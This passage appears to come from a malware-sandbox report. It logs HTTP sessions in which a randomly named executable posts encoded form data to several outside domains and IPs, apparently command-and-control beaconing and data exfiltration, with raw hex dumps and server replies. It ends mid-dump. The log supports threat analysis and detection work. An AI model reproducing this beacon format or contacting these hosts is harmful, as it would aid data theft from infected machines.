3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.11	50006	209.74.64.189	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:55.574189901 CET	1806	OUT	POST /mnch/ HTTP/1.1 Host: www.martmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.martmall.info Referer: http://www.martmall.info/mnch/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 69 2b 70 41 56 70 66 31 52 64 75 46 57 6d 32 43 2b 63 67 6a 75 58 41 45 54 34 4d 65 50 55 5a 65 35 4f 46 50 6c 55 52 47 71 67 72 38 58 63 6e 6c 48 70 5a 66 76 39 4c 79 35 37 37 58 77 50 64 38 44 2b 47 35 59 6a 5a 45 52 35 6d 35 30 6e 58 4f 50 6d 78 50 79 79 47 33 47 58 68 47 6c 68 46 4f 49 56 42 77 4e 43 55 56 77 4b 4d 36 32 42 72 68 6f 35 33 39 6a 39 47 64 79 61 75 6b 51 66 61 69 67 50 6e 5a 30 4e 46 63 74 6c 68 73 52 44 34 55 70 6a 55 48 58 37 47 6d 59 6f 65 5a 2f 73 62 4c 55 38 57 61 6d 59 6e 49 37 74 76 78 79 58 72 55 33 5a 47 65 43 71 47 53 79 45 67 6c 62 4c 36 67 2b 77 79 35 6c 39 70 52 69 75 79 76 35 4a 53 63 32 44 69 72 32 62 46 36 62 44 43 6f 57 75 56 41 78 70 57 37 78 61 39 34 66 69 54 34 41 52 70 43 62 33 67 41 62 56 52 63 67 44 63 55 34 35 6c 2b 75 33 32 6c 4e 48 44 77 79 47 69 73 4c 74 4d 42 76 4d 31 57 72 34 4c 43 43 48 39 36 48 5a 45 42 51 2b 61 5a 36 6e 62 59 78 31 78 67 42 76 6a 64 6d 61 34 38 41 65 52 2f 2f 5a 44 78 2f 72 58 35 42 71 53 79 6e 68 41 5a 6e 37 39 44 48 [TRUNCATED] Data Ascii: E2fH=i+pAVpf1RduFWm2C+cgjuXAET4MePUZe5OFPlURGqgr8XcnlHpZfv9Ly577XwPd8D+G5YjZER5m50nXOPmxPyyG3GXhGlhFOIVBwNCUVwKM62Brho539j9GdyaukQfaigPnZ0NFctlhsRD4UpjUHX7GmYoeZ/sbLU8WamYnI7tvxyXrU3ZGeCqGSyEglbL6g+wy5l9pRiuyv5JSc2Dir2bF6bDCoWuVAxpW7xa94fiT4ARpCb3gAbVRcgDcU45l+u32lNHDwyGisLtMBvM1Wr4LCCH96HZEBQ+aZ6nbYx1xgBvjdma48AeR//ZDx/rX5BqSynhAZn79DH4ITJBnaSKXA7y0+q1M6zxnRHF/WjoNKYXKwjbdo8/eaAqGO9HGks9YoqVSNPNV1ybRI4UC4djYIW+fyt/vnUlxqDi9S7sCY+c1nUvwkmUhM16xcAxRLJ/XQS2S3wkur5bhhwIkyH35N6OXM9DnTryFs5zexeIf9DWsjKp+ji4I2f1WPxjt7ADCWmT36GzRjBfMcCBovJcAPxIICkEJthxUMV2h4saR/OT2x36kSPvmNE1BAV208Z1X+EiMEjoM6N0kC96GCJP0uMkjf3J03cJSFITbfZOgV1RSs0vvclYSpWuChsqOWUyIwmAfZEpF98ugVSWtqyPQsfj0Ftc7l1czUEu24UgV4S2yBhfImmEinRiT1nob33eu77Nj+wdT8xe2MeMGwm6lTDa0/H2L/k3mSNlI1vsKM3gv/Ifscx+Fk7vJF2YLuecrdelRcrKh4jVH8NL97X4o1IKMU2lZPtiNtEjNms76CZu7RYT9Z81K+Q5l7rlKQvQFCry2VJZdmOm7/68dTWJy/OVyXQYvC5geyUhYEp3ybsjJU9HYuoTHScmYJhvg9keAOxoU+iHYReGj3UCLJ8BLpQg0qaJ0UUVtfdh4szM6kHC7piTp7YtcPC+8mXjesRpTQbfpa5dAXamHdsyY1mnCNjS/S9FpsRCS5an1LLeEHCKx [TRUNCATED]
Nov 7, 2024 12:51:56.243393898 CET	533	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 11:51:56 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.11	50007	209.74.64.189	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:58.119637012 CET	508	OUT	GET /mnch/?E2fH=v8BgWZnTU46XNxSlz+wlrSVbOoZFIyRpq8YSvkRatF7pdr65NJBVncP31ryMv/pPMJWLYh1CVZzl0k3fb3N4x0CJPytH4m5WOVJ5IQUCm7oWyhrtqrOCt/w=&wZY4Z=9tG860z8qzo HTTP/1.1 Host: www.martmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:51:58.790118933 CET	548	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 11:51:58 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.11	50008	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:04.029059887 CET	782	OUT	POST /5dij/ HTTP/1.1 Host: www.ninesquare.games Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ninesquare.games Referer: http://www.ninesquare.games/5dij/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 70 6e 41 5a 34 31 2b 4a 62 31 4a 4b 38 4c 53 62 6c 49 6e 2b 59 6f 4e 41 66 38 4c 75 74 42 61 51 52 65 6c 74 6e 51 4f 39 32 32 6e 41 57 64 38 5a 50 6a 54 6e 61 35 5a 70 31 6e 70 65 2f 59 4d 4a 36 61 4d 73 59 31 43 51 54 73 75 4d 35 43 57 66 74 63 64 30 63 6d 4e 6b 4b 4b 4d 34 63 32 74 70 75 71 54 39 56 54 64 31 67 51 67 54 32 76 32 38 51 6d 68 65 78 43 61 77 73 37 44 7a 6d 47 76 56 6a 6f 4b 69 79 63 34 45 43 4d 36 69 6a 6d 58 4c 4b 79 56 41 55 76 66 7a 47 51 74 55 6b 63 49 61 71 4c 45 67 66 77 54 43 4a 64 43 4c 66 50 77 45 52 30 79 6e 49 75 4a 66 43 4c 4a 46 39 4a 59 6a 51 51 3d 3d Data Ascii: E2fH=pnAZ41+Jb1JK8LSblIn+YoNAf8LutBaQReltnQO922nAWd8ZPjTna5Zp1npe/YMJ6aMsY1CQTsuM5CWftcd0cmNkKKM4c2tpuqT9VTd1gQgT2v28QmhexCaws7DzmGvVjoKiyc4ECM6ijmXLKyVAUvfzGQtUkcIaqLEgfwTCJdCLfPwER0ynIuJfCLJF9JYjQQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.11	50009	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:06.572735071 CET	802	OUT	POST /5dij/ HTTP/1.1 Host: www.ninesquare.games Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ninesquare.games Referer: http://www.ninesquare.games/5dij/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 70 6e 41 5a 34 31 2b 4a 62 31 4a 4b 2b 6f 36 62 70 4c 66 2b 66 49 4e 44 52 63 4c 75 6a 68 61 63 52 66 5a 74 6e 53 69 58 32 46 50 41 57 2f 30 5a 4f 69 54 6e 64 35 5a 70 39 48 6f 55 77 34 4d 34 36 61 49 4b 59 30 2b 51 54 73 36 4d 35 44 6d 66 74 76 6c 37 63 32 4e 63 43 71 4d 36 44 47 74 70 75 71 54 39 56 54 49 59 67 51 6f 54 31 63 65 38 51 48 68 64 37 69 61 7a 72 37 44 7a 31 57 76 52 6a 6f 4c 78 79 5a 52 66 43 4f 53 69 6a 6e 6e 4c 4a 6a 56 44 61 76 66 78 59 51 73 6c 6a 75 59 51 69 4a 4e 76 52 6d 58 59 4c 35 4f 78 61 4a 68 65 42 58 37 77 4c 39 42 64 57 74 6f 31 30 34 39 71 4c 58 38 61 51 47 67 6c 36 68 77 72 52 50 69 74 36 65 53 79 79 77 41 3d Data Ascii: E2fH=pnAZ41+Jb1JK+o6bpLf+fINDRcLujhacRfZtnSiX2FPAW/0ZOiTnd5Zp9HoUw4M46aIKY0+QTs6M5Dmftvl7c2NcCqM6DGtpuqT9VTIYgQoT1ce8QHhd7iazr7Dz1WvRjoLxyZRfCOSijnnLJjVDavfxYQsljuYQiJNvRmXYL5OxaJheBX7wL9BdWto1049qLX8aQGgl6hwrRPit6eSyywA=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.11	50010	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:09.119626999 CET	1815	OUT	POST /5dij/ HTTP/1.1 Host: www.ninesquare.games Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ninesquare.games Referer: http://www.ninesquare.games/5dij/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 70 6e 41 5a 34 31 2b 4a 62 31 4a 4b 2b 6f 36 62 70 4c 66 2b 66 49 4e 44 52 63 4c 75 6a 68 61 63 52 66 5a 74 6e 53 69 58 32 46 58 41 58 4d 73 5a 42 67 37 6e 63 35 5a 70 33 6e 6f 58 77 34 4d 6c 36 61 77 4f 59 30 79 6d 54 75 43 4d 36 68 65 66 76 61 4a 37 53 32 4e 63 4f 4b 4d 37 63 32 73 72 75 71 44 78 56 54 59 59 67 51 6f 54 31 5a 61 38 53 57 68 64 39 69 61 77 73 37 44 2f 6d 47 76 31 6a 6f 53 45 79 5a 63 71 43 2f 79 69 6a 48 33 4c 50 52 39 44 46 66 66 33 64 51 73 39 6a 75 56 4b 69 4a 68 4e 52 6d 4c 68 4c 2b 4b 78 61 34 4e 4a 46 57 37 6b 49 66 52 43 56 75 45 77 2b 63 78 39 41 6b 49 2b 41 47 6b 71 6d 6c 55 46 4e 4d 54 44 6a 63 4f 6b 76 67 7a 71 6f 39 71 45 56 46 7a 63 46 78 59 79 79 6f 68 71 53 30 75 57 52 51 63 68 44 44 6f 65 33 64 62 4a 55 45 39 73 6b 63 62 56 48 68 77 51 63 76 2b 4d 52 68 30 35 34 6d 65 4d 33 44 57 46 70 4a 61 39 69 5a 4e 4a 50 30 37 31 6f 38 55 7a 50 6b 43 6f 77 41 67 64 34 41 73 41 34 42 63 54 51 76 6e 37 36 45 6f 56 70 4c 4f 55 6d 50 46 61 31 2b 46 44 4e 39 43 49 6c [TRUNCATED] Data Ascii: E2fH=pnAZ41+Jb1JK+o6bpLf+fINDRcLujhacRfZtnSiX2FXAXMsZBg7nc5Zp3noXw4Ml6awOY0ymTuCM6hefvaJ7S2NcOKM7c2sruqDxVTYYgQoT1Za8SWhd9iaws7D/mGv1joSEyZcqC/yijH3LPR9DFff3dQs9juVKiJhNRmLhL+Kxa4NJFW7kIfRCVuEw+cx9AkI+AGkqmlUFNMTDjcOkvgzqo9qEVFzcFxYyyohqS0uWRQchDDoe3dbJUE9skcbVHhwQcv+MRh054meM3DWFpJa9iZNJP071o8UzPkCowAgd4AsA4BcTQvn76EoVpLOUmPFa1+FDN9CIlU/SkR8d7mB9g4QhFmVOOdE9ksIScGlXnTGDARKcAZl7fSeUBjQNSARGjQ+6ap7Q54j2aCRqMAPj/nCxezqde+W74yGqywo2bXcvCQ6gJ9pwRCbJkQPIcGhbBdzTis9OUcUtzLoiQkGVmsMuEBQugwYBX9Tg1TAHbAt5czKqYReqdrOG7CBo9v+YPyc2avJGf/n8t/nLllXkvJ6mCL7/uh8Q9veMshYc0hvkGWZooB0ExB3OT3Zf50qDLIW7MoCc2X3Uoy1y4ucTAGEr40as2tqOX+HfH5o7UHSvv1n+7//+a/rZ0Z1wI9xVP5elpdt/0thrlyNfXuDMYtjMG3z9d8nmbomVCBLQN/M2RSNhqDB42TU4fb3GhJWJNlpalvixPlcQvorhhr3p/k9tlRH1eZhpNUeygzx7+GngOup7Lijt9g7fY8SmLXX28MhdiRPLkySzcmanQXTDMT8kgqdV7xyJhUitjmRxLOWsnETsbqAFn46uk/mWpLNs4poygLl28oX4fYt24cmzPATn+226ZLLXta/2uz9ZGlXe8/4A+rwOuwRvdNVzugoL+D8TOW/sFEwX/BfSiA6sDp79BAxaXbEi28XZ6xqSEF5DFiVeBJ8z4D96KNEfbn5/uZ3omwKKy+G9SqzU4HyduX1+folVpG7cyCY9yAkAU9L [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.11	50011	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:11.665436983 CET	511	OUT	GET /5dij/?wZY4Z=9tG860z8qzo&E2fH=klo57B+4TEQKxOCll5/ud9oRIMf8lXO2f/YzsC7HwA7/Xv4ZBQnteMBAzzgS9I460LA+WWvjCe2/oT2Hpf5eVU9NDecIBVFVrJ3meQNkkFVg+JeoeGRR7iE= HTTP/1.1 Host: www.ninesquare.games Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:52:12.292016029 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 11:52:12 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 77 5a 59 34 5a 3d 39 74 47 38 36 30 7a 38 71 7a 6f 26 45 32 66 48 3d 6b 6c 6f 35 37 42 2b 34 54 45 51 4b 78 4f 43 6c 6c 35 2f 75 64 39 6f 52 49 4d 66 38 6c 58 4f 32 66 2f 59 7a 73 43 37 48 77 41 37 2f 58 76 34 5a 42 51 6e 74 65 4d 42 41 7a 7a 67 53 39 49 34 36 30 4c 41 2b 57 57 76 6a 43 65 32 2f 6f 54 32 48 70 66 35 65 56 55 39 4e 44 65 63 49 42 56 46 56 72 4a 33 6d 65 51 4e 6b 6b 46 56 67 2b 4a 65 6f 65 47 52 52 37 69 45 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?wZY4Z=9tG860z8qzo&E2fH=klo57B+4TEQKxOCll5/ud9oRIMf8lXO2f/YzsC7HwA7/Xv4ZBQnteMBAzzgS9I460LA+WWvjCe2/oT2Hpf5eVU9NDecIBVFVrJ3meQNkkFVg+JeoeGRR7iE="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.11	50012	76.223.105.230	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:17.349411011 CET	785	OUT	POST /4wnb/ HTTP/1.1 Host: www.falconheights.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.falconheights.net Referer: http://www.falconheights.net/4wnb/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 61 33 51 34 63 66 4e 49 61 59 76 33 69 2f 79 58 65 44 75 4d 39 59 51 74 64 78 42 65 5a 65 2f 64 50 6f 58 66 47 35 74 32 2b 56 68 53 6b 6c 45 50 71 61 58 49 30 64 65 75 58 30 2f 69 74 41 62 59 50 41 72 69 42 6c 55 4d 58 6a 45 57 45 7a 70 74 71 63 6a 30 66 38 33 45 6a 66 6d 31 5a 45 72 52 36 36 4c 69 4f 6f 62 53 77 34 31 66 55 63 46 64 63 58 56 46 53 4d 2f 63 70 33 73 78 67 4e 72 5a 4e 34 34 59 61 32 37 76 2f 5a 76 33 42 73 55 64 68 53 57 62 5a 54 2b 31 73 45 32 2f 33 4f 65 6c 4a 4c 72 64 51 53 7a 43 4e 49 45 75 6b 50 33 76 4d 2f 37 43 36 34 6c 50 41 74 42 5a 46 56 6f 59 35 77 3d 3d Data Ascii: E2fH=a3Q4cfNIaYv3i/yXeDuM9YQtdxBeZe/dPoXfG5t2+VhSklEPqaXI0deuX0/itAbYPAriBlUMXjEWEzptqcj0f83Ejfm1ZErR66LiOobSw41fUcFdcXVFSM/cp3sxgNrZN44Ya27v/Zv3BsUdhSWbZT+1sE2/3OelJLrdQSzCNIEukP3vM/7C64lPAtBZFVoY5w==
Nov 7, 2024 12:52:17.957683086 CET	327	IN	HTTP/1.1 301 Moved Permanently location: https://falconheights.net/4wnb/ vary: Accept-Encoding server: DPS/2.0.0+sha-a9ecb8e x-version: a9ecb8e x-siteid: us-east-2 set-cookie: dps_site_id=us-east-2; path=/ date: Thu, 07 Nov 2024 11:52:17 GMT keep-alive: timeout=5 transfer-encoding: chunked connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.11	50013	76.223.105.230	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:19.885415077 CET	805	OUT	POST /4wnb/ HTTP/1.1 Host: www.falconheights.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.falconheights.net Referer: http://www.falconheights.net/4wnb/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 61 33 51 34 63 66 4e 49 61 59 76 33 6b 66 43 58 53 45 36 4d 36 34 51 73 59 78 42 65 51 2b 2f 5a 50 6f 54 66 47 37 42 6d 2f 6d 46 53 6b 45 30 50 72 65 44 49 6b 4e 65 75 66 55 2f 74 6a 67 61 57 50 41 58 63 42 67 38 4d 58 6e 73 57 45 32 4e 74 71 76 62 33 51 4d 33 47 76 2f 6d 4e 57 6b 72 52 36 36 4c 69 4f 72 6e 30 77 34 74 66 55 73 31 64 65 7a 42 43 66 73 2f 66 6a 58 73 78 78 64 72 46 4e 34 34 41 61 7a 62 52 2f 62 48 33 42 74 6b 64 77 6d 36 59 54 54 2b 7a 7a 55 33 2f 33 75 33 78 50 35 71 33 4c 51 50 43 4e 37 34 50 68 4a 6d 31 63 63 79 56 35 72 74 4e 55 4c 67 70 4d 6b 4e 52 69 2f 55 62 63 34 5a 4d 41 42 72 76 61 4b 50 4d 66 4a 38 49 43 34 59 3d Data Ascii: E2fH=a3Q4cfNIaYv3kfCXSE6M64QsYxBeQ+/ZPoTfG7Bm/mFSkE0PreDIkNeufU/tjgaWPAXcBg8MXnsWE2Ntqvb3QM3Gv/mNWkrR66LiOrn0w4tfUs1dezBCfs/fjXsxxdrFN44AazbR/bH3Btkdwm6YTT+zzU3/3u3xP5q3LQPCN74PhJm1ccyV5rtNULgpMkNRi/Ubc4ZMABrvaKPMfJ8IC4Y=
Nov 7, 2024 12:52:20.505604982 CET	327	IN	HTTP/1.1 301 Moved Permanently location: https://falconheights.net/4wnb/ vary: Accept-Encoding server: DPS/2.0.0+sha-a9ecb8e x-version: a9ecb8e x-siteid: us-east-2 set-cookie: dps_site_id=us-east-2; path=/ date: Thu, 07 Nov 2024 11:52:20 GMT keep-alive: timeout=5 transfer-encoding: chunked connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.11	50014	76.223.105.230	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:22.432921886 CET	1818	OUT	POST /4wnb/ HTTP/1.1 Host: www.falconheights.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.falconheights.net Referer: http://www.falconheights.net/4wnb/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 61 33 51 34 63 66 4e 49 61 59 76 33 6b 66 43 58 53 45 36 4d 36 34 51 73 59 78 42 65 51 2b 2f 5a 50 6f 54 66 47 37 42 6d 2f 6d 4e 53 6c 32 51 50 71 2f 44 49 6e 4e 65 75 65 55 2f 39 6a 67 62 4b 50 41 2f 6d 42 67 35 7a 58 6c 55 57 4c 77 42 74 69 2b 62 33 4c 38 33 47 6e 66 6d 32 5a 45 71 46 36 36 62 59 4f 6f 50 30 77 34 74 66 55 75 39 64 49 33 56 43 64 73 2f 63 70 33 73 74 67 4e 72 35 4e 34 51 2b 61 7a 66 42 2f 4c 6e 33 42 4e 30 64 6a 31 43 59 66 54 2b 78 77 55 33 52 33 75 72 48 50 35 32 52 4c 55 50 73 4e 38 55 50 